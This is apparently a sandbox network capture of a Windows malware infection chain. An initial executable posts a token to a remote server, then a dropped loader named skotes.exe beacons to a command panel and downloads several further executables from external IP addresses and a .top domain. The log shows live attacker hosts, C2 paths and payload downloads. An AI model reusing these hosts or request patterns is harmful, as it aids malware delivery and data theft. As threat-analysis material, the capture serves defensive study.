Nov 18, 2024 00:28:02.604044914 CET	1236	IN	Data Raw: aa 23 bb 06 bb f8 f6 31 41 d5 02 f0 bb 5f 02 c6 a2 b4 5e f6 7c db 3c d0 a6 44 3a 5a 0b 3e d4 25 6e ed b5 ce d6 87 c9 25 20 c4 0a 5c 8e c7 46 6a 35 f3 e3 46 6b 55 e3 e7 a4 8b 88 d0 4e 65 a7 56 03 12 23 f6 57 9b 9c c9 10 27 4d 41 bc 3c e4 39 81 3a Data Ascii: #1A_^\|<D:Z>%n% \Fj5FkUNeV#W'MA<9:Z}6KB]R]&\|S{m;"RGs\K(lt:WGfFtqhJ-iIWRO&Q{n?ocCWMIkR8}ODJ;jq3\hl:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	50077	185.215.113.206	80	2496	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:28:04.832154989 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 65 63 62 66 33 61 33 33 33 30 39 66 66 63 38 63 30 64 62 37 37 64 31 61 66 39 38 33 33 65 34 65 61 66 35 36 30 36 30 39 33 63 64 37 36 62 37 30 62 66 31 63 38 31 36 35 32 37 62 61 32 37 36 64 37 37 64 31 61 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"42ecbf3a33309ffc8c0db77d1af9833e4eaf5606093cd76b70bf1c816527ba276d77d1a6------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EGDGCGCFHIEHIDGDBAAE--
Nov 18, 2024 00:28:06.228348017 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:28:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50117	185.215.113.43	80	8292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:29:05.192320108 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 00:29:06.089351892 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 23:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50118	185.215.113.43	80	8292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:29:07.599967003 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 18, 2024 00:29:08.537581921 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 23:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 30 31 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 30 31 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 30 31 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 30 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007010001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007015001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007016001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007018001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50119	31.41.244.11	80	8292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:29:08.546360016 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 00:29:09.455672026 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 23:29:09 GMT Content-Type: application/octet-stream Content-Length: 4426240 Last-Modified: Sun, 17 Nov 2024 22:35:26 GMT Connection: keep-alive ETag: "673a6fae-438a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 a0 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 ba 00 00 04 00 00 af d9 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 83 ba 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 83 ba 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2H@C@ _pes Pel'@.rsrc `e\|'@.idata pe\|'@ 9e~'@ajfpzkcv'@jiiwuvjbdC@.taggant0"hC@
Nov 18, 2024 00:29:09.455708027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:29:09.455725908 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:29:09.455751896 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:29:09.455766916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: UUR6l
Nov 18, 2024 00:29:09.455782890 CET	1236	IN	Data Raw: 86 7d 78 1e 6a b8 af 67 3f 49 2d e2 be ee da 20 7d f6 5c 21 8e b5 95 61 28 df 3e 66 1e ac dd 8c b5 1b 95 3e d7 b8 a2 19 47 57 8b 3b bb e6 a0 c1 fa fb fc d9 ad 9e b9 d5 cb 02 bd f0 2e fe 95 6a 87 69 db 8f 0a 48 48 74 24 53 52 70 96 87 89 1c 41 23 Data Ascii: }xjg?I- }\!a(>f>GW;.jiHHt$SRpA#:u<@MND#"vlunP$H<CEhlir{yDpQQMp\vb$)/!,3r0gkZp)z!v5je:
Nov 18, 2024 00:29:09.455800056 CET	636	IN	Data Raw: 4a 6a 9d a1 b3 72 bc c8 a1 33 a6 d5 53 0d b6 cd 83 dc cc 87 44 b4 ec 19 9a 19 4d 0e a2 f7 b9 d5 21 18 3a 28 9d 0b ea d8 12 76 94 db 35 5c b9 d0 cc 19 55 2e 2b 97 98 3c 7a 15 29 83 4c ad cc ed 6d b9 ab 49 a2 bc bd 16 0f 12 d2 2c 92 a0 ec d7 8d d7 Data Ascii: Jjr3SDM!:(v5\U.+<z)LmI,uDw~9&I\|juZczq$uK,+ OP(@a2UfDE{y3;fuISWlaYRd[2[G76jzkRiGTZ=A@
Nov 18, 2024 00:29:09.455821991 CET	1236	IN	Data Raw: 85 1a 22 13 16 39 62 65 e7 e7 8a bd 72 9d c3 11 ee d2 3f 4a 6f 06 71 53 38 ae 67 ed d2 bc 3b 8b 2e 8c 29 1b 8a b7 c5 73 3f 1a 47 d1 6c c9 68 15 12 fa 20 7c 94 23 9e ca 89 4d 3b d2 d1 bf 9d ae ad d4 42 e8 a2 1d ee 51 02 a9 bd bb f7 aa a2 cc 24 27 Data Ascii: "9ber?JoqS8g;.)s?Glh \|#M;BQ$'i,\|gk7tr<C 7{b?/Q~qU+L879RaHj"lBm\u9eBX=7J.9'O8PDBiJ}SvC'yI$z=IK
Nov 18, 2024 00:29:09.455838919 CET	1236	IN	Data Raw: 96 d9 d0 23 44 19 49 3d 85 c5 4f fe ee 1d 3d 2c f7 b0 23 04 03 b4 97 d2 84 94 b5 f3 d3 7b 44 f0 82 b0 41 39 a4 19 a0 4d 8b 2b 1d de a1 ec 2e 36 37 30 2d 28 3a bc bd d9 4a db 78 22 43 b2 45 4e 68 5c 7a b3 19 bb 84 bb 19 30 49 1d a7 be ac fe 07 fa Data Ascii: #DI=O=,#{DA9M+.670-(:Jx"CENh\z0IDmGfP2O~3\|ov`99XEp<9wcQS\|J?/ID%QtoNvbUrKH:wm(O;q;nT}v
Nov 18, 2024 00:29:09.455847979 CET	1236	IN	Data Raw: 66 29 fa 36 07 6f bb d6 29 a3 ac cb f2 f7 53 08 5c ca 6c 4c d3 ef 44 74 15 46 b3 14 8c b1 25 d9 fd 58 e0 e5 d6 04 df c5 74 5a ae b5 95 1d 87 e1 9b fc da c5 63 84 6a 9f 8b 01 03 f8 f3 1a 5d ae c7 2b b1 95 96 91 ad 75 90 7a 02 09 95 5e 2c d5 d6 d6 Data Ascii: f)6o)S\lLDtF%XtZcj]+uz^,HK@Fq~z.\3,;P^,VjR4Gso:"pKL:uUHG:qH`C0lAM#m: xAEj$/HKfPmM~;Q7F-LX
Nov 18, 2024 00:29:09.455866098 CET	1236	IN	Data Raw: 7e ec cc 5e 89 d2 ad d0 0c 11 b0 e9 d0 91 1c b7 eb b0 48 7c f7 9c 24 fc 17 bf c9 f1 e7 d5 41 47 a6 7d 4b 3d e6 e7 20 d1 92 fd 5b 4d 86 e4 62 df 21 f6 18 1d 24 91 79 77 78 c5 ad 12 bc 55 58 e6 29 ea 0a 42 e4 66 37 ac e0 9a 54 ad bc b1 a0 da c5 91 Data Ascii: ~^H\|$AG}K= [Mb!$ywxUX)Bf7TiiK4wd}G.&7f{zVQ#biPQi}tKgjhM~]:?BOJfE(W7Oj-CFI-&7\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50121	185.215.113.43	80	8292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:29:18.778227091 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 30 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007010001&unit=246122658369
Nov 18, 2024 00:29:19.699486017 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 23:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50123	185.215.113.16	80	8292	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:29:19.708695889 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 18, 2024 00:29:20.996551037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 23:29:20 GMT Content-Type: application/octet-stream Content-Length: 1863168 Last-Modified: Sun, 17 Nov 2024 23:14:35 GMT Connection: keep-alive ETag: "673a78db-1c6e00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 10 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4a 00 00 04 00 00 5d ea 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL7gDJ@@J]@\p x@.rsrc @.idata @ p*@wbetjsfk@0@mtdlaeimJH@.taggant0J"L@
Nov 18, 2024 00:29:20.996598005 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:29:20.996634960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:29:20.996740103 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:29:20.996773005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 00:29:20.996848106 CET	1236	IN	Data Raw: 9f 87 8f 58 a5 74 a5 13 dc 3f 12 0e cb a3 7f 20 45 92 5a 21 57 0e 97 e0 1c a3 53 ae 23 ef 45 2c 6f 4d 67 81 3c b8 e3 bc 5d c2 aa 7b 6a dd 6a c0 80 54 21 3f 62 ad 6e 63 13 c7 4a 4a 2b 84 52 c5 aa e1 38 d6 6b cd a2 9c 9c b8 94 34 bd c9 67 0a 0a 44 Data Ascii: Xt? EZ!WS#E,oMg<]{jjT!?bncJJ+R8k4gDfriP`;&qD,(ex\|24934a9a$#@Y;{7OjWn\C03k~=lKaw4D\|cAQiyye%#$sM72=2"nDxa>q
Nov 18, 2024 00:29:20.996880054 CET	1236	IN	Data Raw: bc f7 4a b5 0a 62 85 51 48 67 f3 e3 6c f8 a2 13 61 cc 88 e8 18 cc 60 34 20 c0 69 73 29 43 a2 22 cc b3 71 a9 f5 bf 75 23 21 32 b1 8b 6a 0b 5b cc 27 3e 63 7f 48 64 04 fb 4c 21 62 e1 e1 9e 6d 76 e7 c6 02 ef 16 c0 c8 d8 c8 39 8d ba 64 17 9a 4c 17 98 Data Ascii: JbQHgla`4 is)C"qu#!2j['>cHdL!bmv9dL6MY\]t, FR42 1y>a`+<xJ5j`1@~WnS^sc6:T*1"R\u>)4Z4kL^\|CEqk"dY'%kA
Nov 18, 2024 00:29:20.996936083 CET	760	IN	Data Raw: 72 92 93 23 20 c7 ea f0 4c 3d 57 33 6b 16 21 f0 12 c9 5c 1b 6a c7 9e ec 16 be ea ab e8 e7 f2 b4 ec 27 6c 09 6c 75 b1 fe 81 dc b1 f1 c5 cd c9 70 18 c2 b0 a3 5e 5e 21 c5 c6 79 f3 d0 61 19 5f f3 a5 2e 70 0e 5e 79 f8 e0 0f 2f 11 3e a3 b7 f2 28 14 6e Data Ascii: r# L=W3k!\j'llup^^!ya_.p^y/>(neX2eCfzDj{y\pn[J&<0uj:n*-0p%"0h+];ga;@hQ?ICB\/bUC`7~2MSt2C'\|["IMl{mw(MCQyl
Nov 18, 2024 00:29:20.997009993 CET	1236	IN	Data Raw: 91 2c 44 0f 26 6d ce 51 6b 3e b9 27 18 ba 46 f6 96 b6 5e 39 10 b4 e9 2e 68 b8 ea 62 e8 34 36 af 63 fb 65 6f ad e6 b0 c2 ce 31 e2 39 18 0d c0 f0 77 ac c9 3d 98 bc e8 12 20 96 01 80 41 32 c2 db c8 dd 8e 5f f0 e5 0c 5d 76 73 af 18 38 92 ca 2d eb 95 Data Ascii: ,D&mQk>'F^9.hb46ceo19w= A2_]vs8-{Y{[L`Nuu7e(oxnb($>RuYCqdml8C@E+j]k,@F0B^^9<&bx]ivkJvo:\|G=A~kc
Nov 18, 2024 00:29:20.997045994 CET	212	IN	Data Raw: 43 ef 0f 0f b0 3b 8d 1a 30 cf c8 bb 38 3e c5 cc 36 c2 6b c6 08 bc be 75 28 e7 27 d1 34 1b 47 be 71 fe f3 0a 17 90 78 f3 dc ea ad a2 3c 2f a0 3c 5c c0 e1 7a 0e a2 0d ba ec 76 91 c0 2e d5 fc ba a0 9b 63 d8 4d 07 8e 30 ac fc 46 72 f9 78 04 ef 32 d5 Data Ascii: C;08>6ku('4Gqx</<\zv.cM0Frx2`nCmUpa`M["n^Htyo~0T$o>p67;53h"D/gs1A.x5G{!RUg\u
Nov 18, 2024 00:29:21.006045103 CET	1236	IN	Data Raw: 6b 71 47 74 d9 a6 d1 18 ea aa 8f 1a 61 34 d1 fe 4c 4c 64 0a df f1 96 30 2b e5 40 72 73 9a 27 ec a9 e0 89 b4 43 ee fe 48 a1 a3 ae 14 61 58 8b ed 34 4d d9 8b a5 cc cf 81 ec ba e3 03 17 eb df 8f 9d 14 52 0d b0 d3 ae c8 22 9b f0 12 4d af 6b d1 b2 36 Data Ascii: kqGta4LLd0+@rs'CHaX4MR"Mk6U~5)33di^o0lw&vnSz6UTI^7ecI\g6hch_v2fm^\|`-62:60\ jR7J; Mh99"LRQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50124	62.76.234.151	80	4788	C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 00:29:20.308034897 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 00:29:21.692034006 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sun, 17 Nov 2024 23:29:21 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 18, 2024 00:29:21.692068100 CET	1236	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL9~%kkI3/
Nov 18, 2024 00:29:21.692102909 CET	424	IN	Data Raw: 28 b3 c9 7e 6c 68 3b ec 93 86 4d 1e d9 d3 f3 c8 e6 a0 74 e1 2b 10 e7 6f 14 0d e1 f9 96 26 70 76 d2 ab 2c 02 fc 94 ff b7 d2 7a 65 6c 80 36 fc 03 dd d3 0f a3 9a f2 c9 89 84 7e 6c 8d 4d 23 4b 8a 6c d4 62 41 d4 0d 8d 7f ce d7 b4 d2 f9 0e 8d e7 15 b3 Data Ascii: (~lh;Mt+o&pv,zel6~lM#KlbAR"6Y#\XAQrGDp:+ WT><\3.Zfmq4 ( \M4[ZZOY\[,=y$4g6%XN#L7=a@h6\50#
Nov 18, 2024 00:29:21.692902088 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
